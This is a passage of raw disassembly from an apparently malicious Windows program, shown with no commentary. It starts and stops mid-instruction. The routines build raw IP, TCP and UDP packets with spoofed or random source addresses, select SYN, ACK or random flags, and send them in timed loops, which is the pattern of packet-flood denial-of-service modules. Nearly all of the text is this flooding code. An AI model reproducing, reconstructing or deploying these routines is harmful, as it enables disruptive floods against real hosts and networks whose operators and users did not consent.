[ebp+68h+var_12], ax lea eax, [ebp+68h+var_1C] push esi push eax lea eax, [ebp+68h+var_B0] push eax call sub_41F400 add esp, 14h push 10h lea eax, [ebp+68h+var_4C] push eax push ebx push 28h lea eax, [ebp+68h+var_B0] push eax push [ebp+68h+var_4] call ds:dword_4440CC ; sendto cmp eax, 0FFFFFFFFh jnz loc_416617 call ds:dword_4441C4 ; WSAGetLastError push eax lea eax, [ebp+68h+var_F8] push offset unk_43575C push eax call sub_41E6A6 lea eax, [ebp+68h+var_F8] push eax call sub_417D70 add esp, 10h jmp short loc_416765 ; --------------------------------------------------------------------------- loc_416762: ; CODE XREF: sub_4164A9+180j ; sub_4164A9+18Ej mov ebx, [ebp+68h+var_8] loc_416765: ; CODE XREF: sub_4164A9+2B7j pop esi loc_416766: ; CODE XREF: sub_4164A9+73j push [ebp+68h+var_4] call ds:dword_444218 ; closesocket loc_41676F: ; CODE XREF: sub_4164A9+57j call ds:dword_444224 ; WSACleanup mov eax, ebx loc_416777: ; CODE XREF: sub_4164A9+37j pop edi pop ebx add ebp, 68h leave retn sub_4164A9 endp ; =============== S U B R O U T I N E ======================================= sub_41677E proc near ; CODE XREF: seg000:00416812p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_4022BD push [esp+10h+arg_4] mov esi, eax call sub_41E7AD push [esp+14h+arg_8] mov ebx, eax call sub_41E7AD mov edi, eax call sub_41ECDE cdq mov ecx, 200h idiv ecx push edi push ebx lea eax, [edx+esi+100h] push eax push esi call sub_4164A9 add esp, 1Ch test eax, eax jnz short loc_4167C7 inc eax loc_4167C7: ; CODE XREF: sub_41677E+46j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_41677E endp ; --------------------------------------------------------------------------- loc_4167D6: ; DATA XREF: sub_40274D+6140o push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+8] push esi push edi mov esi, eax mov ecx, 85h lea edi, [ebp-214h] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp-110h] push eax lea eax, [ebp-190h] push eax lea eax, [ebp-210h] push eax call sub_41677E push eax lea eax, [ebp-414h] push offset unk_43577C push eax call sub_41E6A6 xor esi, esi add esp, 18h cmp [ebp-8], esi jnz short loc_416853 push esi push dword ptr [ebp-0Ch] lea eax, [ebp-414h] push eax lea eax, [ebp-90h] push eax push dword ptr [ebp-214h] call sub_40123B add esp, 14h loc_416853: ; CODE XREF: seg000:00416831j lea eax, [ebp-414h] push eax call sub_417D70 push dword ptr [ebp-10h] call sub_40B149 pop ecx pop ecx push esi call ds:dword_42B068 ; ExitThread int 3 ; Trap to Debugger ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=70h sub_416871 proc near ; CODE XREF: seg000:00416ABFp var_98 = word ptr -98h var_96 = word ptr -96h var_94 = dword ptr -94h var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = word ptr -22h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = word ptr -1Ah var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp lea ebp, [esp-70h] sub esp, 98h and [ebp+70h+var_88], 0 and [ebp+70h+var_58], 0 push ebx push esi push edi push 4 pop esi xor eax, eax xor ecx, ecx inc ecx push 6 pop edx mov ebx, 0FFh mov [ebp+70h+var_84], ecx mov [ebp+70h+var_78], edx lea edi, [ebp+70h+var_54] mov [ebp+70h+var_80], 2 mov [ebp+70h+var_7C], esi mov [ebp+70h+var_74], 8 mov [ebp+70h+var_70], 0Ch mov [ebp+70h+var_6C], 11h mov [ebp+70h+var_68], 16h mov [ebp+70h+var_64], 29h mov [ebp+70h+var_60], 3Ah mov [ebp+70h+var_5C], ebx stosd mov [ebp+70h+var_50], eax mov [ebp+70h+var_4C], eax mov [ebp+70h+var_48], eax mov [ebp+70h+var_3C], edx mov [ebp+70h+var_34], ecx mov [ebp+70h+var_30], eax lea edi, [ebp+70h+var_2C] mov [ebp+70h+var_44], 2000h mov [ebp+70h+var_40], esi mov [ebp+70h+var_38], 3FFFh stosd mov edi, 100h push edi mov [ebp+70h+var_28], ecx call sub_41FEB2 pop ecx push edi push eax mov [ebp+70h+var_4], eax call ds:dword_444220 ; gethostname push [ebp+70h+var_4] call ds:dword_444168 ; gethostbyname mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] push ebx push 3 push 2 mov [ebp+70h+var_C], eax call ds:dword_444100 ; socket push esi lea ecx, [ebp+70h+var_28] push ecx push 2 push 0 push eax mov [ebp+70h+var_4], eax call ds:dword_444120 ; setsockopt mov esi, 200h push esi call sub_41E5D3 mov edi, ds:dword_42B038 pop ecx mov [ebp+70h+var_8], eax call edi ; GetTickCount mov [ebp+70h+var_10], eax mov eax, [ebp+70h+arg_0] push 29Ah mov [ebp+70h+var_94], eax mov [ebp+70h+var_98], 2 call ds:dword_444260 ; htons mov [ebp+70h+var_96], ax jmp loc_416A4A ; --------------------------------------------------------------------------- loc_416984: ; CODE XREF: sub_416871+1EAj call sub_41ECDE cdq mov ecx, ebx idiv ecx mov eax, [ebp+70h+var_C] and eax, 0FFFFFFh shl edx, 18h or edx, eax mov [ebp+70h+var_C], edx call sub_41ECDE cdq mov ecx, ebx idiv ecx mov [ebp+70h+var_54], edx call sub_41ECDE cdq mov ecx, 1FA4h idiv ecx mov [ebp+70h+var_24], 45h mov [ebp+70h+var_23], 4 mov [ebp+70h+var_2C], edx call sub_41ECDE mov [ebp+70h+var_20], ax call sub_41ECDE cdq push 0Ah pop ecx idiv ecx xor eax, eax mov ax, word ptr [ebp+edx*4+70h+var_50] push eax call ds:dword_444260 ; htons push esi mov [ebp+70h+var_1E], ax call ds:dword_444260 ; htons mov [ebp+70h+var_22], ax mov [ebp+70h+var_1C], bl call sub_41ECDE cdq push 0Eh pop ecx idiv ecx push 14h mov al, byte ptr [ebp+edx*4+70h+var_88] mov [ebp+70h+var_1B], al mov eax, [ebp+70h+var_C] mov [ebp+70h+var_18], eax mov eax, [ebp+70h+arg_0] mov [ebp+70h+var_14], eax lea eax, [ebp+70h+var_24] push eax call sub_402422 mov [ebp+70h+var_1A], ax push 14h lea eax, [ebp+70h+var_24] push eax push [ebp+70h+var_8] call sub_41F400 add esp, 14h push 10h lea eax, [ebp+70h+var_98] push eax push 0 push esi push [ebp+70h+var_8] push [ebp+70h+var_4] call ds:dword_4440CC ; sendto loc_416A4A: ; CODE XREF: sub_416871+10Ej call edi ; GetTickCount sub eax, [ebp+70h+var_10] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+70h+arg_4] jbe loc_416984 push [ebp+70h+var_8] call sub_41E2A1 pop ecx push [ebp+70h+var_4] call ds:dword_444218 ; closesocket pop edi xor eax, eax pop esi inc eax pop ebx add ebp, 70h leave retn sub_416871 endp ; --------------------------------------------------------------------------- loc_416A7E: ; DATA XREF: sub_40274D+6A89o push ebp mov ebp, esp sub esp, 394h mov eax, [ebp+8] push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp-194h] rep movsd mov dword ptr [eax+190h], 1 lea eax, [ebp-110h] push eax call sub_41E7AD pop ecx push eax lea eax, [ebp-190h] push eax call ds:dword_44417C ; inet_addr push eax call sub_416871 push eax lea eax, [ebp-394h] push offset dword_4357A4 push eax call sub_41E6A6 xor esi, esi add esp, 14h cmp [ebp-8], esi jnz short loc_416B00 push esi push dword ptr [ebp-0Ch] lea eax, [ebp-394h] push eax lea eax, [ebp-90h] push eax push dword ptr [ebp-194h] call sub_40123B add esp, 14h loc_416B00: ; CODE XREF: seg000:00416ADEj lea eax, [ebp-394h] push eax call sub_417D70 push dword ptr [ebp-10h] call sub_40B149 pop ecx pop ecx push esi call ds:dword_42B068 ; ExitThread int 3 ; Trap to Debugger loc_416B1E: ; DATA XREF: sub_40274D+512Eo push ebp lea ebp, [esp-74h] sub esp, 440h mov eax, [ebp+7Ch] push ebx push esi push edi push 68h mov esi, eax pop ecx lea edi, [ebp-1CCh] rep movsd xor esi, esi inc esi mov [eax+19Ch], esi push 0Eh xor eax, eax xor ebx, ebx mov [ebp-2Ch], bl pop ecx lea edi, [ebp-2Bh] rep stosd stosw stosb mov edi, ds:dword_42B038 call edi ; GetTickCount push eax call sub_41ECD4 pop ecx push 0FFh push 3 push 2 call ds:dword_444100 ; socket cmp eax, 0FFFFFFFFh mov [ebp+70h], eax jnz short loc_416BA6 call ds:dword_4441C4 ; WSAGetLastError push eax push offset unk_4358C0 loc_416B89: ; CODE XREF: seg000:00416BCAj lea eax, [ebp-3CCh] push eax call sub_41E6A6 add esp, 0Ch loc_416B98: ; CODE XREF: seg000:00416BF1j ; seg000:00416F0Cj cmp [ebp-34h], ebx jnz loc_416EBC jmp loc_416E9C ; --------------------------------------------------------------------------- loc_416BA6: ; CODE XREF: seg000:00416B7Bj push 4 lea ecx, [ebp+40h] push ecx push 2 push ebx push eax mov [ebp+40h], esi call ds:dword_444120 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_416BCC call ds:dword_4441C4 ; WSAGetLastError push eax push offset unk_435888 jmp short loc_416B89 ; --------------------------------------------------------------------------- loc_416BCC: ; CODE XREF: seg000:00416BBCj lea eax, [ebp-1C8h] push eax call ds:dword_44417C ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_416BF3 lea eax, [ebp-3CCh] push offset unk_435868 push eax call sub_41E6A6 pop ecx pop ecx jmp short loc_416B98 ; --------------------------------------------------------------------------- loc_416BF3: ; CODE XREF: seg000:00416BDCj push 10h lea eax, [ebp+30h] push ebx push eax call sub_41E5F0 add esp, 0Ch push ebx mov word ptr [ebp+30h], 2 call ds:dword_444260 ; htons mov [ebp+32h], ax lea eax, [ebp-1C8h] push eax call ds:dword_44417C ; inet_addr mov [ebp+34h], eax mov [ebp+7Ch], ebx call edi ; GetTickCount mov [ebp+44h], eax jmp loc_416E3D ; --------------------------------------------------------------------------- loc_416C30: ; CODE XREF: seg000:00416E4Ej push 28h mov byte ptr [ebp+48h], 45h call ds:dword_444260 ; htons cmp [ebp-3Ch], ebx mov [ebp+4Ah], ax mov [ebp+4Ch], si mov [ebp+4Eh], bx mov byte ptr [ebp+50h], 80h mov byte ptr [ebp+51h], 6 mov [ebp+52h], bx jz short loc_416C86 call sub_41ECDE mov esi, eax shl esi, 8 call sub_41ECDE add esi, eax shl esi, 8 call sub_41ECDE add esi, eax shl esi, 8 call sub_41ECDE add esi, eax mov [ebp+54h], esi xor esi, esi inc esi jmp short loc_416C9C ; --------------------------------------------------------------------------- loc_416C86: ; CODE XREF: seg000:00416C57j push dword ptr [ebp-1CCh] call sub_4023C9 pop ecx push eax call ds:dword_44417C ; inet_addr mov [ebp+54h], eax loc_416C9C: ; CODE XREF: seg000:00416C84j cmp [ebp-44h], ebx mov eax, [ebp+34h] mov [ebp+58h], eax jnz short loc_416CB7 call sub_41ECDE cdq mov ecx, 401h idiv ecx push edx jmp short loc_416CBA ; --------------------------------------------------------------------------- loc_416CB7: ; CODE XREF: seg000:00416CA5j push dword ptr [ebp-44h] loc_416CBA: ; CODE XREF: seg000:00416CB5j call ds:dword_444260 ; htons mov [ebp+5Eh], ax call sub_41ECDE cdq mov ecx, 401h idiv ecx push edx call ds:dword_444260 ; htons push 12345678h mov [ebp+5Ch], ax call ds:dword_444234 ; htonl mov [ebp+60h], eax lea eax, [ebp-148h] push offset aSyn ; "syn" push eax call sub_41F090 test eax, eax pop ecx pop ecx jz short loc_416D0A mov [ebp+64h], ebx mov byte ptr [ebp+69h], 2 jmp short loc_416D66 ; --------------------------------------------------------------------------- loc_416D0A: ; CODE XREF: seg000:00416CFFj lea eax, [ebp-148h] push offset aAck ; "ack" push eax call sub_41F090 test eax, eax pop ecx pop ecx jz short loc_416D2A mov [ebp+64h], ebx mov byte ptr [ebp+69h], 10h jmp short loc_416D66 ; --------------------------------------------------------------------------- loc_416D2A: ; CODE XREF: seg000:00416D1Fj lea eax, [ebp-148h] push offset aRandom_0 ; "random" push eax call sub_41F090 test eax, eax pop ecx pop ecx jz short loc_416D66 call sub_41ECDE cdq push 3 pop ecx idiv ecx mov [ebp+64h], edx call sub_41ECDE push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+69h], dl loc_416D66: ; CODE XREF: seg000:00416D08j ; seg000:00416D28j ... push 200h mov byte ptr [ebp+68h], 50h call ds:dword_444260 ; htons mov [ebp+6Ah], ax mov eax, [ebp+54h] mov [ebp+10h], eax mov eax, [ebp+58h] push 14h mov [ebp+6Eh], bx mov [ebp+6Ch], bx mov [ebp+14h], eax mov [ebp+18h], bl mov byte ptr [ebp+19h], 6 call ds:dword_444260 ; htons mov [ebp+1Ah], ax push 20h lea eax, [ebp+10h] push eax lea eax, [ebp-2Ch] push eax call sub_41F400 push 14h lea eax, [ebp+5Ch] push eax lea eax, [ebp-0Ch] push eax call sub_41F400 lea eax, [ebp-2Ch] push 34h push eax call sub_402422 mov [ebp+6Ch], ax push 14h lea eax, [ebp+48h] push eax lea eax, [ebp-2Ch] push eax call sub_41F400 push 14h lea eax, [ebp+5Ch] push eax lea eax, [ebp-18h] push eax call sub_41F400 push 4 lea eax, [ebp-4] push ebx push eax call sub_41E5F0 add esp, 44h lea eax, [ebp-2Ch] push 28h push eax call sub_402422 mov [ebp+52h], ax push 14h lea eax, [ebp+48h] push eax lea eax, [ebp-2Ch] push eax call sub_41F400 add esp, 14h push 10h lea eax, [ebp+30h] push eax push ebx push 3Ch lea eax, [ebp-2Ch] push eax push dword ptr [ebp+70h] call ds:dword_4440CC ; sendto cmp eax, 0FFFFFFFFh jz loc_416ED9 inc dword ptr [ebp+7Ch] loc_416E3D: ; CODE XREF: seg000:00416C2Bj call edi ; GetTickCount sub eax, [ebp+44h] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp-40h] jbe loc_416C30 push dword ptr [ebp+70h] call ds:dword_444218 ; closesocket mov eax, [ebp+7Ch] imul eax, 3Ch mov ecx, eax shr eax, 0Ah xor edx, edx div dword ptr [ebp-40h] shr ecx, 14h push ecx push eax push dword ptr [ebp+7Ch] lea eax, [ebp-1C8h] push eax lea eax, [ebp-148h] push eax lea eax, [ebp-3CCh] push offset unk_435818 push eax call sub_41E6A6 add esp, 1Ch cmp [ebp-34h], ebx jnz short loc_416EBC loc_416E9C: ; CODE XREF: seg000:00416BA1j push ebx push dword ptr [ebp-38h] lea eax, [ebp-3CCh] push eax lea eax, [ebp-0C8h] push eax push dword ptr [ebp-1CCh] call sub_40123B add esp, 14h loc_416EBC: ; CODE XREF: seg000:00416B9Bj ; seg000:00416E9Aj lea eax, [ebp-3CCh] push eax call sub_417D70 push dword ptr [ebp-48h] call sub_40B149 pop ecx pop ecx push ebx call ds:dword_42B068 ; ExitThread loc_416ED9: ; CODE XREF: seg000:00416E34j push dword ptr [ebp+70h] call ds:dword_444218 ; closesocket call ds:dword_4441C4 ; WSAGetLastError push eax push dword ptr [ebp+7Ch] lea eax, [ebp-1C8h] push eax push offset unk_4357C8 lea eax, [ebp-3CCh] push 200h push eax call sub_41E6FE add esp, 18h jmp loc_416B98 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F11 proc near ; CODE XREF: sub_416F65+19Ap ; sub_416F65+207p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov ecx, [ebp+arg_4] mov edx, [ebp+arg_0] push esi xor esi, esi cmp ecx, 1 mov [ebp+arg_4], esi jle short loc_416F3F lea eax, [ecx-2] shr eax, 1 inc eax push edi lea edi, [eax+eax] sub ecx, edi loc_416F31: ; CODE XREF: sub_416F11+28j movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec eax jnz short loc_416F31 pop edi cmp ecx, 1 loc_416F3F: ; CODE XREF: sub_416F11+12j jnz short loc_416F4C mov al, [edx] mov byte ptr [ebp+arg_4], al movzx eax, word ptr [ebp+arg_4] add esi, eax loc_416F4C: ; CODE XREF: sub_416F11:loc_416F3Fj mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi mov eax, ecx sar eax, 10h add eax, ecx not eax pop esi pop ebp retn sub_416F11 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F65 proc near ; CODE XREF: seg000:00417210p var_D0 = dword ptr -0D0h var_C8 = byte ptr -0C8h var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_9F = byte ptr -9Fh var_9E = word ptr -9Eh var_9C = byte ptr -9Ch var_88 = byte ptr -88h var_74 = word ptr -74h var_72 = word ptr -72h var_70 = dword ptr -70h var_64 = byte ptr -64h var_60 = byte ptr -60h var_5F = byte ptr -5Fh var_5E = byte ptr -5Eh var_54 = dword ptr -54h var_50 = byte ptr -50h var_4E = word ptr -4Eh var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = byte ptr -48h var_47 = byte ptr -47h var_46 = word ptr -46h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = word ptr -3Ch var_3A = word ptr -3Ah var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = word ptr -2Ch var_2A = word ptr -2Ah var_28 = word ptr -28h var_24 = byte ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_194 = dword ptr 19Ch arg_198 = dword ptr 1A0h push ebp mov ebp, esp sub esp, 0C8h and [ebp+var_4], 0 push esi mov esi, ds:dword_42B038 call esi ; GetTickCount push 0FFh push 3 push 2 mov [ebp+var_C], eax call ds:dword_444100 ; socket mov [ebp+var_8], eax call esi ; GetTickCount push eax call sub_41ECD4 mov [esp+0D0h+var_D0], 578h push 9 push 1 call sub_41B325 pop ecx pop ecx push eax lea eax, [ebp+var_24] push eax call sub_41E5F0 add esp, 0Ch call esi ; GetTickCount sub eax, [ebp+var_C] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_198] ja loc_4171AD push ebx push edi mov edi, 5A0h loc_416FD8: ; CODE XREF: sub_416F65+240j cmp ds:dword_4D5898, 0 jnz short loc_417039 push 10h pop eax push eax mov [ebp+var_10], eax lea eax, [ebp+var_64] push 0 push eax call sub_41E5F0 add esp, 0Ch lea eax, [ebp+var_10] push eax lea eax, [ebp+var_64] push eax push [ebp+arg_0] call ds:dword_444068 ; getsockname push 0FFh push 1 call sub_41B325 push eax movzx eax, [ebp+var_5E] push eax movzx eax, [ebp+var_5F] push eax movzx eax, [ebp+var_60] push eax lea eax, [ebp+var_C8] push offset aD_D_D_D ; "%d.%d.%d.%d" push eax call sub_41E6A6 add esp, 20h jmp short loc_41704C ; --------------------------------------------------------------------------- loc_417039: ; CODE XREF: sub_416F65+7Aj lea eax, [ebp+var_C8] push offset dword_4D5698 push eax call sub_41EEC0 pop ecx pop ecx loc_41704C: ; CODE XREF: sub_416F65+D2j lea eax, [ebp+var_C8] push eax call ds:dword_44417C ; inet_addr mov ebx, eax mov eax, [ebp+var_54] and eax, 0FFFFFF45h or eax, 45h push edi mov [ebp+var_54], eax mov [ebp+var_50], 10h call ds:dword_444260 ; htons mov [ebp+var_4E], ax call sub_41ECDE and [ebp+var_46], 0 mov [ebp+var_4C], ax mov eax, [ebp+arg_194] mov [ebp+var_4A], 40h mov [ebp+var_48], 40h mov [ebp+var_47], 6 mov [ebp+var_44], ebx mov [ebp+var_40], eax call sub_41ECDE mov [ebp+var_3C], ax call sub_41ECDE mov [ebp+var_3A], ax call sub_41ECDE mov [ebp+var_38], eax call sub_41ECDE mov ebx, [ebp+var_40] and [ebp+var_2A], 0 and [ebp+var_28], 0 mov [ebp+var_34], eax mov eax, [ebp+var_30] and ax, 0FF50h or ax, 50h mov word ptr [ebp+var_30], ax mov ax, [ebp+var_3A] mov [ebp+var_72], ax lea eax, [ebp+var_54] push 14h push eax mov byte ptr [ebp+var_30+2], 18h mov [ebp+var_2C], 787Dh mov [ebp+var_74], 2 mov [ebp+var_70], ebx call sub_416F11 pop ecx pop ecx mov [ebp+var_46], ax mov eax, [ebp+var_44] push 58Ch mov [ebp+var_A8], eax mov [ebp+var_A4], ebx mov [ebp+var_A0], 0 mov [ebp+var_9F], 6 call ds:dword_42B200 ; htons mov [ebp+var_9E], ax push 14h lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_3C] push eax call sub_41F400 push 578h lea eax, [ebp+var_88] push eax lea eax, [ebp+var_24] push eax call sub_41F400 lea eax, [ebp+var_A8] push 598h push eax call sub_416F11 add esp, 20h mov [ebp+var_2A], ax push 10h lea eax, [ebp+var_74] push eax push 0 push edi lea eax, [ebp+var_54] push eax push [ebp+var_8] call ds:dword_4440CC ; sendto inc [ebp+var_4] call esi ; GetTickCount sub eax, [ebp+var_C] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_198] jbe loc_416FD8 pop edi pop ebx loc_4171AD: ; CODE XREF: sub_416F65+66j push [ebp+var_8] call ds:dword_444218 ; closesocket mov eax, [ebp+var_4] pop esi leave retn sub_416F65 endp ; --------------------------------------------------------------------------- loc_4171BC: ; DATA XREF: sub_40274D+69BBo push ebp mov ebp, esp sub esp, 394h mov eax, [ebp+8] push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp-194h] rep movsd mov dword ptr [eax+190h], 1 lea eax, [ebp-110h] push eax call sub_41E7AD pop ecx push eax lea eax, [ebp-190h] push eax call ds:dword_44417C ; inet_addr push eax sub esp, 194h push 65h pop ecx lea esi, [ebp-194h] mov edi, esp rep movsd call sub_416F65 push eax lea eax, [ebp-394h] push offset unk_4358F4 push eax call sub_41E6A6 xor esi, esi add esp, 1A8h cmp [ebp-8], esi jnz short loc_417254 push esi push dword ptr [ebp-0Ch] lea eax, [ebp-394h] push eax lea eax, [ebp-90h] push eax push dword ptr [ebp-194h] call sub_40123B add esp, 14h loc_417254: ; CODE XREF: seg000:00417232j lea eax, [ebp-394h] push eax call sub_417D70 push dword ptr [ebp-10h] call sub_40B149 pop ecx pop ecx push esi call ds:dword_42B068 ; ExitThread int 3 ; Trap to Debugger ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417272 proc near ; CODE XREF: seg000:0041762Ep var_254 = byte ptr -254h var_54 = byte ptr -54h var_34 = byte ptr -34h var_30 = byte ptr -30h var_2F = byte ptr -2Fh var_2E = byte ptr -2Eh var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_84 = byte ptr 8Ch arg_104 = byte ptr 10Ch arg_184 = byte ptr 18Ch arg_208 = dword ptr 210h arg_20C = dword ptr 214h push ebp mov ebp, esp sub esp, 254h push ebx push edi mov ebx, 0FFh push ebx push 3 push 2 call ds:dword_444100 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jnz short loc_4172AC lea eax, [ebp+var_254] push offset unk_435AE0 push eax call sub_41E6A6 pop ecx pop ecx xor edi, edi jmp short loc_417302 ; --------------------------------------------------------------------------- loc_4172AC: ; CODE XREF: sub_417272+21j push 4 lea ecx, [ebp+var_14] push ecx push 2 xor edi, edi push edi push eax mov [ebp+var_14], 1 call ds:dword_444120 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_4172D8 call ds:dword_4441C4 ; WSAGetLastError push eax push offset unk_435A90 jmp short loc_4172F3 ; --------------------------------------------------------------------------- loc_4172D8: ; CODE XREF: sub_417272+56j lea eax, [ebp+arg_4] push eax call ds:dword_44417C ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_417333 call ds:dword_4441C4 ; WSAGetLastError push eax push offset unk_435A48 loc_4172F3: ; CODE XREF: sub_417272+64j lea eax, [ebp+var_254] push eax call sub_41E6A6 add esp, 0Ch loc_417302: ; CODE XREF: sub_417272+38j cmp [ebp+arg_20C], edi jnz loc_4175C8 push edi push [ebp+arg_208] lea eax, [ebp+var_254] push eax lea eax, [ebp+arg_184] push eax push [ebp+arg_0] call sub_40123B add esp, 14h jmp loc_4175C8 ; --------------------------------------------------------------------------- loc_417333: ; CODE XREF: sub_417272+73j push esi push edi mov [ebp+var_24], 2 call ds:dword_444260 ; htons mov [ebp+var_22], ax lea eax, [ebp+arg_4] push eax call ds:dword_42B218 ; inet_addr mov esi, ds:dword_42B038 mov [ebp+var_20], eax call esi ; GetTickCount mov [ebp+var_8], eax lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_254] push offset unk_435A1C push eax call sub_41E6A6 add esp, 0Ch cmp [ebp+arg_20C], edi jnz short loc_41739D push edi push [ebp+arg_208] lea eax, [ebp+var_254] push eax lea eax, [ebp+arg_184] push eax push [ebp+arg_0] call sub_40123B add esp, 14h loc_41739D: ; CODE XREF: sub_417272+109j mov [ebp+var_4], edi call esi ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx mov esi, eax lea eax, [ebp+arg_104] push eax call sub_41E7AD cmp esi, eax pop ecx ja loc_417556 mov esi, 41Ch jmp short loc_4173D1 ; --------------------------------------------------------------------------- loc_4173CC: ; CODE XREF: sub_417272+2DEj mov ebx, 0FFh loc_4173D1: ; CODE XREF: sub_417272+158j cmp ds:dword_4D5898, edi jnz short loc_417429 push 10h pop eax push eax mov [ebp+var_10], eax lea eax, [ebp+var_34] push edi push eax call sub_41E5F0 add esp, 0Ch lea eax, [ebp+var_10] push eax lea eax, [ebp+var_34] push eax push [ebp+arg_0] call ds:dword_444068 ; getsockname push ebx push 1 call sub_41B325 push eax movzx eax, [ebp+var_2E] push eax movzx eax, [ebp+var_2F] push eax movzx eax, [ebp+var_30] push eax lea eax, [ebp+var_54] push offset aD_D_D_D ; "%d.%d.%d.%d" push eax call sub_41E6A6 add esp, 20h jmp short loc_417439 ; --------------------------------------------------------------------------- loc_417429: ; CODE XREF: sub_417272+165j lea eax, [ebp+var_54] push offset dword_4D5698 push eax call sub_41EEC0 pop ecx pop ecx loc_417439: ; CODE XREF: sub_417272+1B5j push esi mov ds:byte_4D58A0, 45h call ds:dword_444260 ; htons mov ds:word_4D58A2, ax lea eax, [ebp+var_54] push eax mov ds:word_4D58A4, 1 mov ds:word_4D58A6, di mov ds:byte_4D58A8, 80h mov ds:byte_4D58A9, 11h mov ds:word_4D58AA, di call ds:dword_44417C ; inet_addr mov ds:dword_4D58AC, eax mov eax, [ebp+var_20] mov ds:dword_4D58B0, eax lea eax, [ebp+arg_84] push eax mov ds:word_4D58BA, di call sub_41E7AD test eax, eax pop ecx jnz short loc_4174B1 call sub_41ECDE cdq mov ecx, 401h idiv ecx push edx jmp short loc_4174BF ; --------------------------------------------------------------------------- loc_4174B1: ; CODE XREF: sub_417272+22Dj lea eax, [ebp+arg_84] push eax call sub_41E7AD pop ecx push eax loc_4174BF: ; CODE XREF: sub_417272+23Dj call ds:dword_444260 ; htons mov ds:word_4D58B6, ax call sub_41ECDE cdq mov ecx, 401h idiv ecx push 408h mov ds:word_4D58B4, dx call ds:dword_444260 ; htons push 400h mov ds:word_4D58B8, ax call sub_41ECDE cdq idiv ebx push edx push offset dword_4D58BC call sub_41E5F0 add esp, 0Ch push 10h lea eax, [ebp+var_24] push eax push edi push esi push offset byte_4D58A0 push [ebp+var_C] call ds:dword_4440CC ; sendto cmp eax, 0FFFFFFFFh jz loc_4175CE inc [ebp+var_4] call ds:dword_42B038 ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx mov ebx, eax lea eax, [ebp+arg_104] push eax call sub_41E7AD cmp ebx, eax pop ecx jbe loc_4173CC loc_417556: ; CODE XREF: sub_417272+14Dj push [ebp+var_C] call ds:dword_444218 ; closesocket mov esi, [ebp+var_4] lea eax, [ebp+arg_104] imul esi, 41Ch push eax call sub_41E7AD mov ecx, eax mov eax, esi shr eax, 0Ah xor edx, edx div ecx shr esi, 14h push eax push esi push [ebp+var_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_254] push offset unk_4359B8 push eax call sub_41E6A6 add esp, 1Ch loc_41759F: ; CODE XREF: sub_417272+37Fj cmp [ebp+arg_20C], edi jnz short loc_4175C7 push edi push [ebp+arg_208] lea eax, [ebp+var_254] push eax lea eax, [ebp+arg_184] push eax push [ebp+arg_0] call sub_40123B add esp, 14h loc_4175C7: ; CODE XREF: sub_417272+333j pop esi loc_4175C8: ; CODE XREF: sub_417272+96j ; sub_417272+BCj pop edi xor eax, eax pop ebx leave retn ; --------------------------------------------------------------------------- loc_4175CE: ; CODE XREF: sub_417272+2B2j push [ebp+var_4] push esi call ds:dword_4441C4 ; WSAGetLastError push eax lea eax, [ebp+arg_4] push eax lea eax, 